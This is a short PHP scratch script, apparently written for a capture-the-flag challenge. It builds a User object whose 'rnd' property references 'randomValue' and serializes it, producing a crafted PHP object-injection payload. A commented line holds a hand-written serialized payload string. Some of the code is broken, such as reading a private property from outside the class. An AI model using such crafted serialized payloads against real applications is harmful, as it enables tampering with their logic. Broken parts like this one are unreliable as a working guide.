<?php
class User
{
// $this->userData->randomValue;
// public $usernaem;
// public $rnd;
// public $randomValue;
// private $userData;
    private $userData;
    public function __construct(){
        $this->userData->username='husectfer';
        $this->userData->rnd=&$this->userData->randomValue;
        // $this->userData='O:4:"User":4:{s:8:"usernaem";s:9:"husectfer";s:3:"rnd";N;s:11:"randomValue";R:3;s:14:"UseruserData";N;}';
    }
}
$a=new User();
print_r($a);
// $a->rnd=&$a->randomValue;
// echo base64_encode(serialize($a));
echo serialize($a);
$a=serialize($a);
$b=unserialize($a);
echo $b->userData->username;
print_r($b);
?>
